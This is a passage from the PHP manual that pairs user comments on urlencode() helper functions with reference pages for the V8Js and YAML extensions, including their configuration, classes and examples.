        }
        $urlenc = htmlentities( $urlenc, ENT_QUOTES );
        return $urlenc;
}
?>
Mark Seecof 24-Sep-2008 01:34
When using XMLHttpRequest or another AJAX technique to submit data to a PHP script using GET (or POST with content-type header set to 'x-www-form-urlencoded') you must urlencode your data before you upload it.  (In fact, if you don't urlencode POST data MS Internet Explorer may pop a "syntax error" dialog when you call XMLHttpRequest.send().)  But, you can't call PHP's urlencode() function in Javascript!  In fact, NO native Javascript function will urlencode data correctly for form submission.  So here is a function to do the job fairly efficiently:

<?php /******

<script type="text/javascript" language="javascript1.6">
 // PHP-compatible urlencode() for Javascript
 function urlencode(s) {
  s = encodeURIComponent(s);
  return s.replace(/~/g,'%7E').replace(/%20/g,'+');
 }

 // sample usage:  suppose form has text input fields for
 // country, postcode, and city with id='country' and so-on.
 // We'll use GET to send values of country and postcode
 // to "city_lookup.php" asynchronously, then update city
 // field in form with the reply (from database lookup)

 function lookup_city() {
  var elm_country = document.getElementById('country');
  var elm_zip = document.getElementById('postcode');
  var elm_city = document.getElementById('city');
  var qry = '?country=' + urlencode(elm_country.value) +
                '&postcode=' + urlencode(elm_zip.value);
  var xhr;
  try {
   xhr = new XMLHttpRequest(); // recent browsers
  } catch (e) {
   alert('No XMLHttpRequest!');
   return;
  }
  xhr.open('GET',('city_lookup.php'+qry),true);
  xhr.onreadystatechange = function(){
    if ((xhr.readyState != 4) || (xhr.status != 200)) return;
    elm_city.value = xhr.responseText;
  }
  xhr.send(null);
 }
</script>

******/ ?>
root at jusme dot org 13-Aug-2008 02:12
I'm running PHP version 5.0.5 and urlencode() doesn't seem to encode the "#" character, although the function's description says it encodes "all non-alphanumeric" characters. This was a particular problem for me when trying to open local files with a "#" in the filename as Firefox will interpret this as an anchor target (for better or worse). It seems a manual str_replace is required unless this was fixed in a future PHP version.

Example:

$str = str_replace("#", "%23", $str);
php dot net at unixen dot dk 15-Jun-2008 09:53
>> Hi muthuishere , i saw your excellent contribution, but couldnt make it work, so i corrected some bits and pieces and had the following done:

<?php
function SmartUrlEncode($url){
    if (strpos($url, '=') === false):
        return $url;
    else:
        $startpos = strpos($url, "?");
        $tmpurl=substr($url, 0 , $startpos+1) ;
        $qryStr=substr($url, $startpos+1 ) ;
         $qryvalues=explode("&", $qryStr);
          foreach($qryvalues as $value):
              $buffer=explode("=", $value);
            $buffer[1]=urlencode($buffer[1]);
           endforeach;
          $finalqrystr=implode("&amp;", &$qryvalues);
        $finalURL=$tmpurl . $finalqrystr;
        return $finalURL;
    endif;
}
?>

As you see its very much yours, modfied primarily using '&amp;' instead of '&', and ofcourse an if test to see if anything in input is to be cursed... Thanks for great function !
kerdster at gmail dot com 28-Feb-2008 01:02
> php dot net at samokhvalov dot com
 > 12-Dec-2006 09:49

Thanx for idea!
I have wrote more simple function based on your function to simulate JS function escape (); It uses mb_string functions unstead of iconv.

<?php
function utf16urlencode($str)
{
    $str = mb_convert_encoding($str, 'UTF-16', 'UTF-8');
    $out = '';
    for ($i = 0; $i < mb_strlen($str, 'UTF-16'); $i++)
    {
        $out .= '%u'.bin2hex(mb_substr($str, $i, 1, 'UTF-16'));
    }
    return $out;
}
?>
Thomas 05-Sep-2007 11:30
Reply to 'peter at mailinator dot com'

If you are having problems using urldecode in PHP following the escape() function in Javascript, try to do a decodeURI() before the escape(). This fixed it for me at least.

Thomas
ahrensberg at gmail dot com 05-Aug-2007 02:04
Like "Benjamin dot Bruno at web dot de" earlier has writen, you can have problems with encode strings with special characters to flash. Benjamin write that:

<?php
   function flash_encode ($input)
   {
      return rawurlencode(utf8_encode($input));
   }
?>

... could do the problem. Unfortunately flash still have problems with read some quotations, but with this one:

<?php
   function flash_encode($string)
   {
      $string = rawurlencode(utf8_encode($string));

      $string = str_replace("%C2%96", "-", $string);
      $string = str_replace("%C2%91", "%27", $string);
      $string = str_replace("%C2%92", "%27", $string);
      $string = str_replace("%C2%82", "%27", $string);
      $string = str_replace("%C2%93", "%22", $string);
      $string = str_replace("%C2%94", "%22", $string);
      $string = str_replace("%C2%84", "%22", $string);
      $string = str_replace("%C2%8B", "%C2%AB", $string);
      $string = str_replace("%C2%9B", "%C2%BB", $string);

      return $string;
   }
?>

... should solve this problem.
in reply to "kL" 20-Feb-2007 10:23
kL's example is very bugged since it loops itself and the encode function is two-way.

Why do you replace all %27 through '  in the same string in that you replace all ' through %27?

Lets say I have a string: Hello %27World%27. It's a nice day.
I get: Hello Hello 'World'. It%27s a nice day.

With other words that solution is pretty useless.

Solution:
Just replace ' through %27 when encoding
Just replace %27 through ' when decoding. Or just use url_decode.
kL 07-Sep-2006 02:13
Apache's mod_rewrite and mod_proxy are unable to handle urlencoded URLs properly - http://issues.apache.org/bugzilla/show_bug.cgi?id=34602

If you need to use any of these modules and handle paths that contain %2F or %3A (and few other encoded special url characters), you'll have use a different encoding scheme.

My solution is to replace "%" with "'".
<?php
function urlencode($u)
{
    return str_replace(array("'",'%'),array('%27',"'"),urlencode($u));
}

function urldecode($u)
{
    return urldecode(strtr($u,"'",'%'));
}
?>
peter at runempire dot com 06-Aug-2006 11:09
I think this was mentioned earlier but it was confusing.. But I had some problems with the urlencode eating my '/' so I did a simple str_replace like the following:

$url = urlencode($img);
$img2 = "$url";
$img2 = str_replace('%2F54', '/', $img2);
$img2 = str_replace('+' , '%20' , $img2);

You don't need to replace the '+' but I just feel comfortable with my %20, although it may present a problem if whatever you're using the str_replace for has a '+' in it where it shouldn't be.

But that fixed my problem.. all the other encodes like htmlentities and rawurlencode just ate my /'s
Roamy: info AT roamy DOT de 29-Jan-2006 08:58
<?// urlencode + urldecode 4 Linux/Unix-Servers:=============
//==================================================
//=====This small script matches all encoded String for ========
//=====Linux/Unix-Servers For IIS it got to be  The Other Way  ==
//===== around...and remember in a propper Url =============
//===== there shoudn't be the 'dirty Letter': %C3==============
//==================================================
function int2hex($intega){
    $Ziffer = "0123456789ABCDEF";
return $Ziffer[($intega%256)/16].$Ziffer[$intega%16];
}
function url_decode($text){
    if(!strpos($text,"%C3"))
        for($i=129;$i<255;$i++){
            $in = "%".int2hex($i);
            $out = "%C3%".int2hex($i-64);
            $text = str_replace($in,$out,$text);
        }
return urldecode($text);
}
function url_encode($text){
    $text = urlencode($text);
    if(!strpos($text,"%C3"))
        for($i=129;$i<255;$i++){
            $in = "%".int2hex($i);
            $out = "%C3%".int2hex($i-64);
            $text = str_replace($in,$out,$text);
        }
return $text;
}//==================================================
?>
torecs at sfe dot uio dot no 11-Jan-2006 12:30
This very simple function makes an valid parameters part of an URL, to me it looks like several of the other versions here are decoding wrongly as they do not convert & seperating the variables into &amp;.

  $vars=array('name' => 'tore','action' => 'sell&buy');
  echo MakeRequestUrl($vars);

  /* Makes an valid html request url by parsing the params array
   * @param $params The parameters to be converted into URL with key as name.
   */
  function MakeRequestUrl($params)
  {
      $querystring=null;
    foreach ($params as $name => $value)
    {
      $querystring=$name.'='.urlencode($value).'&'.$querystring;
    }
      // Cut the last '&'
      $querystring=substr($querystring,0,strlen($querystring)-1);
      return htmlentities($querystring);
  }

  Will output: action=sell%26buy&amp;name=tore
roberlamerma at gmail dot com 22-Nov-2005 04:00
I rewrote inus at flowingcreativity dot net function to generate an encoded url string from the POST, or GET array. It handles properly POST/GET array vars.

function _HTTPRequestToString($arr_request, $var_name, $separator='&') {
    $ret = "";
    if (is_array($arr_request)) {
        foreach ($arr_request as $key => $value) {
            if (is_array($value)) {
                if ($var_name) {
                    $ret .= $this->_HTTPRequestToString($value, "{$var_name}[{$key}]", $separator);
                } else {
                    $ret .= $this->_HTTPRequestToString($value, "{$key}", $separator);
                }
            } else {
                if ($var_name) {
                    $ret .= "{$var_name}[{$key}]=".urlencode($value)."&";
                } else {
                    $ret .= "{$key}=".urlencode($value)."&";
                }
            }
        }
    }
    if (!$var_name) {
        $ret = substr($ret,0,-1);
    }
    return $ret;
}
bisqwit at iki dot fi 02-Sep-2005 10:27
Constructing hyperlinks safely HOW-TO:

<?php
$path_component = 'machine/generated/part';
$url_parameter1 = 'this is a string';
$url_parameter2 = 'special/weird "$characters"';

$url = 'http://example.com/lab/cgi/test/'. rawurlencode($path_component) . '?param1=' . urlencode($url_parameter1) . '&param2=' . urlencode($url_parameter2);

$link_label = "Click here & you'll be <happy>";

echo '<a href="', htmlspecialchars($url), '">', htmlspecialchars($link_label), '</a>';
?>

This example covers all the encodings you need to apply in order to create URLs safely without problems with any special characters. It is stunning how many people make mistakes with this.

Shortly:
- Use urlencode for all GET parameters (things that come after each "=").
- Use rawurlencode for parts that come before "?".
- Use htmlspecialchars for HTML tag parameters and HTML text content.
R Mortimer 26-Aug-2005 10:14
Do not let the browser auto encode an invalid URL. Not all browsers perform the same encodeing. Keep it cross browser do it server side.
Bachsau 12-Aug-2005 07:24
Diferrent from the above example you do not have to encode URLs in hrefs with this. The browser does it automaticaly, so you just have to encode it with htmlentities() ;)
linus at flowingcreativity dot net 04-Jul-2005 06:14
I just came across the need for a function that exports an array into a query string. Being able to use urlencode($theArray) would be nice, but here's what I came up with:

<?php

function urlencode_array(
    $var,                // the array value
    $varName,            // variable name to be used in the query string
    $separator = '&'    // what separating character to use in the query string
) {
    $toImplode = array();
    foreach ($var as $key => $value) {
        if (is_array($value)) {
            $toImplode[] = urlencode_array($value, "{$varName}[{$key}]", $separator);
        } else {
            $toImplode[] = "{$varName}[{$key}]=".urlencode($value);
        }
    }
    return implode($separator, $toImplode);
}

?>

This function supports n-dimensional arrays (it encodes recursively).
edwardzyang at thewritingpot dot com 15-Apr-2005 10:48
I was testing my input sanitation with some strange character entities. Ones like � and � were passed correctly and were in their raw form when I passed them through without any filtering.

However, some weird things happen when dealing with characters like (these are HTML entities): &#8252; &#9616; &#9488;and &#920; have weird things going on.

If you try to pass one in Internet Explorer, IE will *disable* the submit button. Firefox, however, does something weirder: it will convert it to it's HTML entity. It will display properly, but only when you don't convert entities.

The point? Be careful with decorative characters.

PS: If you try copy/pasting one of these characters to a TXT file, it will translate to a ?.
neugey at cox dot net 17-Sep-2004 10:51
Be careful when encoding strings that came from simplexml in PHP 5.  If you try to urlencode a simplexml object, the script tanks.

I got around the problem by using a cast.

$newValue = urlencode( (string) $oldValue );
monty3 at hotmail dot com 09-Sep-2004 10:00
If you want to pass a url with parameters as a value IN a url AND through a javascript function, such as...

   <a href="javascript:openWin('page.php?url=index.php?id=4&pg=2');">

...pass the url value through the PHP urlencode() function twice, like this...

<?php

   $url = "index.php?id=4&pg=2";
   $url = urlencode(urlencode($url));

   echo "<a href=\"javascript:openWin('page.php?url=$url');\">";
?>

On the page being opened by the javascript function (page.php), you only need to urldecode() once, because when javascript 'touches' the url that passes through it, it decodes the url once itself. So, just decode it once more in your PHP script to fully undo the double-encoding...

<?php

   $url = urldecode($_GET['url']);
?>

If you don't do this, you'll find that the result url value in the target script is missing all the var=values following the ? question mark...

   index.php?id=4


V8 Javascript Engine Integration

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Examples
  • V8Js — The V8Js class
    • V8Js::__construct — Construct a new V8Js object
    • V8Js::executeString — Execute a string as Javascript code
    • V8Js::getExtensions — Return an array of registered extensions
    • V8Js::getPendingException — Return pending uncaught Javascript exception
    • V8Js::registerExtension — Register Javascript extensions for V8Js
  • V8JsException — The V8JsException class
    • V8JsException::getJsFileName — The getJsFileName purpose
    • V8JsException::getJsLineNumber — The getJsLineNumber purpose
    • V8JsException::getJsSourceLine — The getJsSourceLine purpose
    • V8JsException::getJsTrace — The getJsTrace purpose

User Contributed Notes

There are no user contributed notes for this page.


Introduction

This extension embeds the » V8 Javascript Engine into PHP.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

PHP 5.3.3+ and V8 library and headers installed in proper paths.

User Contributed Notes

There are no user contributed notes for this page.


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/v8js

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

V8js Configure Options
Name | Default | Changeable | Changelog
v8js.max_disposed_contexts | 25 | PHP_INI_ALL |
v8js.flags |  | PHP_INI_ALL |

Here's a short explanation of the configuration directives.

v8js.max_disposed_contexts integer

Sets limit for disposed contexts before forcing V8 to do garbage collection.

v8js.flags string

Sets V8 command line flags. The list of available flags can be obtained in CLI mode by setting this parameter to --help. Example:

$ php -r 'ini_set("v8js.flags", "--help"); new V8Js;' | less

Note:

For these flags to be effective in runtime the ini_set() call has to be done before any V8Js objects are instantiated!

User Contributed Notes

There are no user contributed notes for this page.


Examples

Basic usage

Example #1 Basic Javascript execution

<?php

$v8 = new V8Js();

/* basic.js */
$JS = <<< EOT
len = print('Hello' + ' ' + 'World!' + "\\n");
len;
EOT;

try {
  var_dump($v8->executeString($JS, 'basic.js'));
} catch (V8JsException $e) {
  var_dump($e);
}

?>

The above example will output:

Hello World!
int(13)

User Contributed Notes

There are no user contributed notes for this page.


The V8Js class

(PECL v8js >= 0.1.0)

Introduction

This is the core class for V8Js extension. Each instance created from this class has own context in which all JavaScript is compiled and executed.

See V8Js::__construct() for more information.

Class synopsis

V8Js {
/* Constants */
const string V8_VERSION ;
const integer FLAG_NONE = 1 ;
const integer FLAG_FORCE_ARRAY = 2 ;
/* Methods */
public __construct ([ string $object_name = "PHP" [, array $variables = array() [, array $extensions = array() [, bool $report_uncaught_exceptions = TRUE ]]]] )
public mixed executeString ( string $script [, string $identifier = "V8Js::executeString()" [, int $flags = V8Js::FLAG_NONE ]] )
public static array getExtensions ( void )
public V8JsException getPendingException ( void )
public static bool registerExtension ( string $extension_name , string $script [, array $dependencies = array() [, bool $auto_enable = FALSE ]] )
}

Predefined Constants

V8Js::V8_VERSION

The V8 Javascript Engine version.

V8Js::FLAG_NONE

No flags.

V8Js::FLAG_FORCE_ARRAY

Forces all JS objects to be associative arrays in PHP.

Table of Contents

  • V8Js::__construct — Construct a new V8Js object
  • V8Js::executeString — Execute a string as Javascript code
  • V8Js::getExtensions — Return an array of registered extensions
  • V8Js::getPendingException — Return pending uncaught Javascript exception
  • V8Js::registerExtension — Register Javascript extensions for V8Js

User Contributed Notes

mateusz dot charytoniuk at gmail dot com 11-Jul-2013 06:41
This extension can be used to provide server-side and client-side form validation by executing the same JavaScript code at both places.


Construct a new V8Js object

  • « V8Js
  • V8Js::executeString »
  • PHP Manual
  • V8Js
  • Construct a new V8Js object

V8Js::__construct

(PECL v8js >= 0.1.0)

V8Js::__construct — Construct a new V8Js object

Description

 public V8Js::__construct
  ([ string $object_name = "PHP"
 [, array $variables = array()
 [, array $extensions = array()
 [, bool $report_uncaught_exceptions = TRUE
]]]] )

Constructs a new V8Js object.

Parameters

object_name

The name of the object passed to Javascript.

variables

Map of PHP variables that will be available in Javascript. Must be an associative array in format array("name-for-js" => "name-of-php-variable"). Defaults to empty array.

extensions

List of extensions registered using V8Js::registerExtension() which should be available in the Javascript context of the created V8Js object.

Note:

Extensions registered to be enabled automatically do not need to be listed in this array. Also if an extension has dependencies, those dependencies can be omitted as well. Defaults to empty array.

report_uncaught_exceptions

Controls whether uncaught Javascript exceptions are reported immediately or not. Defaults to TRUE. If set to FALSE the uncaught exception can be accessed using V8Js::getPendingException().

Return Values

Returns a new V8Js context object.

User Contributed Notes

There are no user contributed notes for this page.


Execute a string as Javascript code

  • « V8Js::__construct
  • V8Js::getExtensions »
  • PHP Manual
  • V8Js
  • Execute a string as Javascript code

V8Js::executeString

(PECL v8js >= 0.1.0)

V8Js::executeString — Execute a string as Javascript code

Description

public mixed V8Js::executeString ( string $script [, string $identifier = "V8Js::executeString()" [, int $flags = V8Js::FLAG_NONE ]] )

Compiles and executes the string passed with script as Javascript code.

Parameters

script

The code string to be executed.

identifier

Identifier string for the executed code. Used for debugging.

flags

Execution flags. This value must be one of the V8Js::FLAG_* constants, defaulting to V8Js::FLAG_NONE.

  • V8Js::FLAG_NONE: no flags

  • V8Js::FLAG_FORCE_ARRAY: forces all Javascript objects passed to PHP to be associative arrays

Return Values

Returns the last variable instantiated in the Javascript code converted to matching PHP variable type.

User Contributed Notes

There are no user contributed notes for this page.


Return an array of registered extensions

  • « V8Js::executeString
  • V8Js::getPendingException »
  • PHP Manual
  • V8Js
  • Return an array of registered extensions

V8Js::getExtensions

(PECL v8js >= 0.1.0)

V8Js::getExtensions — Return an array of registered extensions

Description

public static array V8Js::getExtensions ( void )

This function returns array of Javascript extensions registered using V8Js::registerExtension().

Parameters

This function has no parameters.

Return Values

Returns an array of registered extensions or an empty array if there are none.

User Contributed Notes

There are no user contributed notes for this page.


Return pending uncaught Javascript exception

  • « V8Js::getExtensions
  • V8Js::registerExtension »
  • PHP Manual
  • V8Js
  • Return pending uncaught Javascript exception

V8Js::getPendingException

(PECL v8js >= 0.1.0)

V8Js::getPendingException — Return pending uncaught Javascript exception

Description

public V8JsException V8Js::getPendingException ( void )

Returns any pending uncaught Javascript exception as V8JsException left from earlier V8Js::executeString() call(s).

Parameters

This function has no parameters.

Return Values

Either V8JsException or NULL.

User Contributed Notes

There are no user contributed notes for this page.


Register Javascript extensions for V8Js

  • « V8Js::getPendingException
  • V8JsException »
  • PHP Manual
  • V8Js
  • Register Javascript extensions for V8Js

V8Js::registerExtension

(PECL v8js >= 0.1.0)

V8Js::registerExtension — Register Javascript extensions for V8Js

Description

public static bool V8Js::registerExtension ( string $extension_name , string $script [, array $dependencies = array() [, bool $auto_enable = FALSE ]] )

Registers passed Javascript script as extension to be used in V8Js contexts.

Parameters

extension_name

Name of the extension to be registered.

script

The Javascript code to be registered.

dependencies

Array of extension names the extension to be registered depends on. Any such extension is enabled automatically when this extension is loaded.

Note:

All extensions, including the dependencies, must be registered before any V8Js are created which use them.

auto_enable

If set to TRUE, the extension will be enabled automatically in all V8Js contexts.

Return Values

Returns TRUE if extension was registered successfully, FALSE otherwise.

User Contributed Notes

dimarikson at yandex dot ru 16-Oct-2014 02:26
Usage sample:

if (V8Js::registerExtension('myjs', 'var x = 1 + 1;', array(), true) === false) {
    exit("Failed to register js extension script");
}

$v8js = new V8Js;

$jsExec = <<<EOD
x;
EOD;

echo $v8js->executeString($jsExec)."\n";    // print "2"


The V8JsException class

(PECL v8js >= 0.1.0)

Introduction

Class synopsis

V8JsException extends Exception {
/* Properties */
protected $JsFileName ;
protected $JsLineNumber ;
protected $JsSourceLine ;
protected $JsTrace ;
/* Inherited properties */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* Methods */
final public string getJsFileName ( void )
final public int getJsLineNumber ( void )
final public int getJsSourceLine ( void )
final public string getJsTrace ( void )
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
}

Properties

JsFileName

JsLineNumber

JsSourceLine

JsTrace

Table of Contents

  • V8JsException::getJsFileName — The getJsFileName purpose
  • V8JsException::getJsLineNumber — The getJsLineNumber purpose
  • V8JsException::getJsSourceLine — The getJsSourceLine purpose
  • V8JsException::getJsTrace — The getJsTrace purpose

User Contributed Notes

There are no user contributed notes for this page.


The getJsFileName purpose

  • « V8JsException
  • V8JsException::getJsLineNumber »
  • PHP Manual
  • V8JsException
  • The getJsFileName purpose

V8JsException::getJsFileName

(PECL v8js >= 0.1.0)

V8JsException::getJsFileName — The getJsFileName purpose

Description

final public string V8JsException::getJsFileName ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The getJsLineNumber purpose

  • « V8JsException::getJsFileName
  • V8JsException::getJsSourceLine »
  • PHP Manual
  • V8JsException
  • The getJsLineNumber purpose

V8JsException::getJsLineNumber

(PECL v8js >= 0.1.0)

V8JsException::getJsLineNumber — The getJsLineNumber purpose

Description

final public int V8JsException::getJsLineNumber ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The getJsSourceLine purpose

  • « V8JsException::getJsLineNumber
  • V8JsException::getJsTrace »
  • PHP Manual
  • V8JsException
  • The getJsSourceLine purpose

V8JsException::getJsSourceLine

(PECL v8js >= 0.1.0)

V8JsException::getJsSourceLine — The getJsSourceLine purpose

Description

final public int V8JsException::getJsSourceLine ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The getJsTrace purpose

  • « V8JsException::getJsSourceLine
  • Yaml »
  • PHP Manual
  • V8JsException
  • The getJsTrace purpose

V8JsException::getJsTrace

(PECL v8js >= 0.1.0)

V8JsException::getJsTrace — The getJsTrace purpose

Description

final public string V8JsException::getJsTrace ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


YAML Data Serialization

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • Callbacks
    • Parse callbacks
    • Emit callbacks
  • Yaml Functions
    • yaml_emit_file — Send the YAML representation of a value to a file
    • yaml_emit — Returns the YAML representation of a value
    • yaml_parse_file — Parse a YAML stream from a file
    • yaml_parse_url — Parse a Yaml stream from a URL
    • yaml_parse — Parse a YAML stream

User Contributed Notes

There are no user contributed notes for this page.


Introduction

This extension implements the » YAML Ain't Markup Language (YAML) data serialization standard. Parsing and emiting are handled by the » LibYAML library.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

This extension requires the » LibYAML C library version 0.1.0 or higher to be installed.

User Contributed Notes

There are no user contributed notes for this page.


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/yaml.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

gabriel at plenitech dot fr 20-Oct-2014 10:53
Actually, there *is* a DLL available for download on Windows from PECL package page, since Apr-2012.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Yaml Configure Options
Name | Default | Changeable | Changelog
yaml.decode_binary | 0 | PHP_INI_ALL |
yaml.decode_timestamp | 0 | PHP_INI_ALL |
yaml.output_canonical | 0 | PHP_INI_ALL |
yaml.output_indent | 2 | PHP_INI_ALL |
yaml.output_width | 80 | PHP_INI_ALL |

Here's a short explanation of the configuration directives.

yaml.decode_binary boolean

Off by default, but can be set to on to cause base64 binary encoded entities which have the explicit tag "tag:yaml.org,2002:binary" to be decoded.

yaml.decode_timestamp integer

Controls the decoding of both implicit and explict "tag:yaml.org,2002:timestamp" scalars in the YAML document stream. The default setting of 0 will not apply any decoding. A setting of 1 will use strtotime() to parse the timestamp value as a Unix timestamp. A setting of 2 will use date_create() to parse the timestamp value as DateTime object.

yaml.output_canonical boolean

Off by default, but can be set to on to cause canonical form output.

yaml.output_indent integer

Number of spaces to indent sections. Value should be between 1 and 10.

yaml.output_width integer

Set the preferred line width. -1 means unlimited.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

Scalar entity styles usable by yaml_parse() callback methods.
YAML_ANY_SCALAR_STYLE (integer)
YAML_PLAIN_SCALAR_STYLE (integer)
YAML_SINGLE_QUOTED_SCALAR_STYLE (integer)
YAML_DOUBLE_QUOTED_SCALAR_STYLE (integer)
YAML_LITERAL_SCALAR_STYLE (integer)
YAML_FOLDED_SCALAR_STYLE (integer)
Common tags usable by yaml_parse() callback methods.
YAML_NULL_TAG (string)
"tag:yaml.org,2002:null"
YAML_BOOL_TAG (string)
"tag:yaml.org,2002:bool"
YAML_STR_TAG (string)
"tag:yaml.org,2002:str"
YAML_INT_TAG (string)
"tag:yaml.org,2002:int"
YAML_FLOAT_TAG (string)
"tag:yaml.org,2002:float"
YAML_TIMESTAMP_TAG (string)
"tag:yaml.org,2002:timestamp"
YAML_SEQ_TAG (string)
"tag:yaml.org,2002:seq"
YAML_MAP_TAG (string)
"tag:yaml.org,2002:map"
YAML_PHP_TAG (string)
"!php/object"
Encoding types for yaml_emit()
YAML_ANY_ENCODING (integer)
Let the emitter choose an encoding.
YAML_UTF8_ENCODING (integer)
Encode as UTF8.
YAML_UTF16LE_ENCODING (integer)
Encode as UTF16LE.
YAML_UTF16BE_ENCODING (integer)
Encode as UTF16BE.
Linebreak types for yaml_emit()
YAML_ANY_BREAK (integer)
Let emitter choose linebreak character.
YAML_CR_BREAK (integer)
Use \r as break character (Mac style).
YAML_LN_BREAK (integer)
Use \n as break character (Unix style).
YAML_CRLN_BREAK (integer)
Use \r\n as break character (DOS style).

User Contributed Notes

There are no user contributed notes for this page.


Examples

Example #1 Yaml Example

<?php
$addr = array(
    "given" => "Chris",
    "family"=> "Dumars",
    "address"=> array(
        "lines"=> "458 Walkman Dr.
        Suite #292",
        "city"=> "Royal Oak",
        "state"=> "MI",
        "postal"=> 48046,
      ),
  );
$invoice = array (
    "invoice"=> 34843,
    "date"=> "2001-01-23",
    "bill-to"=> $addr,
    "ship-to"=> $addr,
    "product"=> array(
        array(
            "sku"=> "BL394D",
            "quantity"=> 4,
            "description"=> "Basketball",
            "price"=> 450,
          ),
        array(
            "sku"=> "BL4438H",
            "quantity"=> 1,
            "description"=> "Super Hoop",
            "price"=> 2392,
          ),
      ),
    "tax"=> 251.42,
    "total"=> 4443.52,
    "comments"=> "Late afternoon is best. Backup contact is Nancy Billsmer @ 338-4338.",
    );

// generate a YAML representation of the invoice
$yaml = yaml_emit($invoice);
var_dump($yaml);

// convert the YAML back into a PHP variable
$parsed = yaml_parse($yaml);

// check that roundtrip conversion produced an equivalent structure
var_dump($parsed == $invoice);
?>

The above example will output something similar to:

string(631) "---
invoice: 34843
date: "2001-01-23"
bill-to:
  given: Chris
  family: Dumars
  address:
    lines: |-
      458 Walkman Dr.
              Suite #292
    city: Royal Oak
    state: MI
    postal: 48046
ship-to:
  given: Chris
  family: Dumars
  address:
    lines: |-
      458 Walkman Dr.
              Suite #292
    city: Royal Oak
    state: MI
    postal: 48046
product:
- sku: BL394D
  quantity: 4
  description: Basketball
  price: 450
- sku: BL4438H
  quantity: 1
  description: Super Hoop
  price: 2392
tax: 251.420000
total: 4443.520000
comments: Late afternoon is best. Backup contact is Nancy Billsmer @ 338-4338.
...
"
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Callbacks

Table of Contents

  • Parse callbacks
  • Emit callbacks

User Contributed Notes

There are no user contributed notes for this page.


Parse callbacks

Parse callbacks are invoked by yaml_parse(), yaml_parse_file() or yaml_parse_url() functions when a registered YAML tag is encountered. The callback is passed the tagged entity's value, the tag, and flags indicating the scalar entity style. The callback must return the data that the YAML parser should emit for this entity.

Example #1 Parse callback example

<?php
/**
 * Parsing callback for yaml tag.
 * @param mixed $value Data from yaml file
 * @param string $tag Tag that triggered callback
 * @param int $flags Scalar entity style (see YAML_*_SCALAR_STYLE)
 * @return mixed Value that YAML parser should emit for the given value
 */
function tag_callback ($value, $tag, $flags) {
  var_dump(func_get_args()); // debugging
  return "Hello {$value}";
}

$yaml = <<<YAML
greeting: !example/hello World
YAML;

$result = yaml_parse($yaml, 0, $ndocs, array(
    '!example/hello' => 'tag_callback',
  ));

var_dump($result);
?>

The above example will output something similar to:

array(3) {
  [0]=>
  string(5) "World"
  [1]=>
  string(14) "!example/hello"
  [2]=>
  int(1)
}
array(1) {
  ["greeting"]=>
  string(11) "Hello World"
}

User Contributed Notes

There are no user contributed notes for this page.


Emit callbacks

Emit callbacks are invoked when an instance of a registered class is emitted by yaml_emit() or yaml_emit_file(). The callback is passed the object to be emitted. The callback must return an array having two keys: "tag" and "data". The value associated with the "tag" key must be a string to be used as the YAML tag in the output. The value associated with the "data" key will be encoded as YAML and emitted in place of the intercepted object.

Example #1 Emit callback example

<?php
class EmitExample {
  public $data;    // data may be in any pecl/yaml suitable type

  public function __construct ($d) {
    $this->data = $d;
  }

  /**
   * Yaml emit callback function, referred on yaml_emit call by class name.
   *
   * Expected to return an array with 2 values:
   *   - 'tag': custom tag for this serialization
   *   - 'data': value to convert to yaml (array, string, bool, number)
   *
   * @param object $obj Object to be emitted
   * @return array Tag and surrogate data to emit
   */
  public static function yamlEmit (EmitExample $obj) {
    return array(
      'tag' => '!example/emit',
      'data' => $obj->data,
    );
  }
}

$emit_callbacks = array(
  'EmitExample' => array('EmitExample', 'yamlEmit')
);

$t = new EmitExample(array('a','b','c'));
$yaml = yaml_emit(
  array(
    'example' => $t,
  ),
  YAML_ANY_ENCODING,
  YAML_ANY_BREAK,
  $emit_callbacks
);
var_dump($yaml);
?>

The above example will output something similar to:

string(43) "---
example: !example/emit
- a
- b
- c
...
"

User Contributed Notes

There are no user contributed notes for this page.


Yaml Functions

Table of Contents

  • yaml_emit_file — Send the YAML representation of a value to a file
  • yaml_emit — Returns the YAML representation of a value
  • yaml_parse_file — Parse a YAML stream from a file
  • yaml_parse_url — Parse a Yaml stream from a URL
  • yaml_parse — Parse a YAML stream

User Contributed Notes

There are no user contributed notes for this page.


Send the YAML representation of a value to a file

  • « Yaml Functions
  • yaml_emit »
  • PHP Manual
  • Yaml Functions
  • Send the YAML representation of a value to a file

yaml_emit_file

(PECL yaml >= 0.5.0)

yaml_emit_file — Send the YAML representation of a value to a file

Description

